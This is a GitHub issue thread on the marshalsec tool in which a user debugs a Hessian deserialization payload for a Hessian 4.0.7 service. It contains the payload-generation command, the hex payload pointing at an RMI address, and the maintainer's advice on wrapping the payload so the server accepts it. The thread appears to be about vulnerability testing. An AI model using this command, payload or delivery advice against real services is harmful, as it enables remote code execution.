mbechler / marshalsec

MIT License
3.35k stars 678 forks source link

com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d #14

Closed yahanvesh closed 4 years ago

yahanvesh commented 4 years ago

Issue Hessian service doesnt like the payload generated

Payload generation Command java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099 > rmi_payload

My Payload in Hex

4D740000 4D740041 6F72672E 73707269 6E676672 616D6577 6F726B2E 616F702E 73757070 6F72742E 44656661 756C7442 65616E46 6163746F 7279506F 696E7463 75744164 7669736F 7253000E 61647669 63654265 616E4E61 6D655300 19726D69 3A2F2F78 2E782E78 2E783A31 30393953 00056F72 6465724E 53000870 6F696E74 6375744D 7400246F 72672E73 7072696E 67667261 6D65776F 726B2E61 6F702E54 72756550 6F696E74 6375747A 53000B62 65616E46 6163746F 72794D74 00366F72 672E7370 72696E67 6672616D 65776F72 6B2E6A6E 64692E73 7570706F 72742E53 696D706C 654A6E64 69426561 6E466163 746F7279 53000B72 65736F75 72636552 65665453 00127368 61726561 626C6552 65736F75 72636573 56740011 6A617661 2E757469 6C2E4861 73685365 746C0000 00015300 19726D69 3A2F2F78 2E782E78 2E783A31 3039397A 53001073 696E676C 65746F6E 4F626A65 6374734D 7400007A 53000D72 65736F75 72636554 79706573 4D740000 7A530006 6C6F6767 65724D74 00276F72 672E6170 61636865 2E636F6D 6D6F6E73 2E6C6F67 67696E67 2E696D70 6C2E4E6F 4F704C6F 677A5300 0C6A6E64 6954656D 706C6174 654D7400 256F7267 2E737072 696E6766 72616D65 776F726B 2E6A6E64 692E4A6E 64695465 6D706C61 74655300 066C6F67 6765724D 7400276F 72672E61 70616368 652E636F 6D6D6F6E 732E6C6F 6767696E 672E696D 706C2E4E 6F4F704C 6F677A53 000B656E 7669726F 6E6D656E 744E7A7A 7A520000 00014D74 00416F72 672E7370 72696E67 6672616D 65776F72 6B2E616F 702E7375 70706F72 742E4465 6661756C 74426561 6E466163 746F7279 506F696E 74637574 41647669 736F7253 000E6164 76696365 4265616E 4E616D65 4E530005 6F726465 724E5300 08706F69 6E746375 74520000 00025300 0B626561 6E466163 746F7279 4E7A5200 00000A7A

Server Detail Hessian Server Version on my Server: 4.0.7

Looks like Hessian doesnt like the first byte 4d.

I get the following error when i use a python program to send the payload. (I do take care to prepend the H\x02\x02C bytes at the begining of the payload)

Apr 16, 2020 9:37:21 PM org.apache.catalina.core.StandardWrapperValve invoke
SEVERE: Servlet.service() for servlet [remoting] in context with path [/service] threw exception [Hessian skeleton invocation failed; nested exception is com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d] with root cause
com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d
    at com.caucho.hessian.io.Hessian2Input.error(Hessian2Input.java:2882)
    at com.caucho.hessian.io.Hessian2Input.expect(Hessian2Input.java:2830)
    .......

@mbechler Any suggestions?

mbechler commented 4 years ago

The payload generated is a "raw" data stream (e.g. 0x4D is a map object), I guess your service may be expecting an additonal "envelope" e.g. headers or the RPC call wrapper. You should be able to find out what the service is expecting from the stacktrace. Then you could duplicate marshalsec.Hessian and overwrite HessianBase.marshal() to reflect whatever the service is expecting.

yahanvesh commented 4 years ago

Here is the complete stacktrace:-

Apr 17, 2020 4:08:22 PM org.apache.catalina.core.StandardWrapperValve invoke
SEVERE: Servlet.service() for servlet [remoting] in context with path [/service] threw exception [Hessian skeleton invocation failed; nested exception is com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d] with root cause
com.caucho.hessian.io.HessianProtocolException: expected string at 0x4d
    at com.caucho.hessian.io.Hessian2Input.error(Hessian2Input.java:2882)
    at com.caucho.hessian.io.Hessian2Input.expect(Hessian2Input.java:2830)
    at com.caucho.hessian.io.Hessian2Input.readString(Hessian2Input.java:1362)
    at com.caucho.hessian.io.Hessian2Input.readMethod(Hessian2Input.java:272)
    at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:249)
    at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:221)
    at org.springframework.remoting.caucho.HessianExporter.doInvoke(HessianExporter.java:228)
    at org.springframework.remoting.caucho.HessianExporter.invoke(HessianExporter.java:144)
    at org.springframework.remoting.caucho.HessianServiceExporter.handleRequest(HessianServiceExporter.java:63)
    at org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter.handle(HttpRequestHandlerAdapter.java:53)
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1039)
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:942)
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1005)
    at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:908)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:650)
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:882)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
    at com.company.filter.CacheFilter.doFilter(CacheFilter.java:94)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
    at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:209)
    at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:178)
    at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:357)
    at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:270)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
    at com.company.middleware.security.CsrfPreventionFilter.doFilter(CsrfPreventionFilter.java:166)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:494)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
    at com.company.catalina.valves.CompanyAccessLogValve.invoke(CompanyAccessLogValve.java:218)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:445)
    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1137)
    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
mbechler commented 4 years ago

Assuing https://github.com/sofastack/sofa-hessian/blob/537351cd10966804fca91b082ebe73c02dda1d73/src/main/java/com/caucho/hessian/server/HessianSkeleton.java#L225 is the correct code you can see what is expected:

<callhdr> <headers*> <method_name> <n> <arg_1> .. <arg_n>

= H\x02\x02C is a Hessian2 method call, which does not have headers. I would suggest to go for version 1 and put your payload into the header (then you don't even need to know a method to call).
yahanvesh commented 4 years ago

Its actually this one - https://repo1.maven.org/maven2/com/caucho/hessian/4.0.7/ or the exact code http://kickjava.com/src/com/caucho/hessian/io/Hessian2Input.java.htm

Does it make sense to do something like this, just giving the payload with writeObject.

public interface Download {
    public InputStream download(String filename, InputStream data){
          //create your http connection and get the outputstream
          OutputStream os = ....;

          Hessian2Output out = new Hessian2Output(os);

          out.writeObject(filename);
          byte[] buffer = new byte[1024];
          int c = -1;
          while( (c = data.read(buf)) != -1) {
             os.write(buf);
          }
          os.flush();
          //.....
    }
}
yahanvesh commented 4 years ago

Looks like spring-aop is not on the classpath. I did a mvn dependency:build-classpath and did not find any of these classes SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin.

Can i confirm then its not vulnerable? @mbechler

yahanvesh commented 4 years ago

Hey @mbechler Any suggestions. Thanks in advance.

yahanvesh commented 4 years ago

I found that the payload i generated was in Hessian 1.0 but my service was taking Hessian 2.0. By changing the code to use Hessian2Input and Hessian2Output. I was able to get around the issue.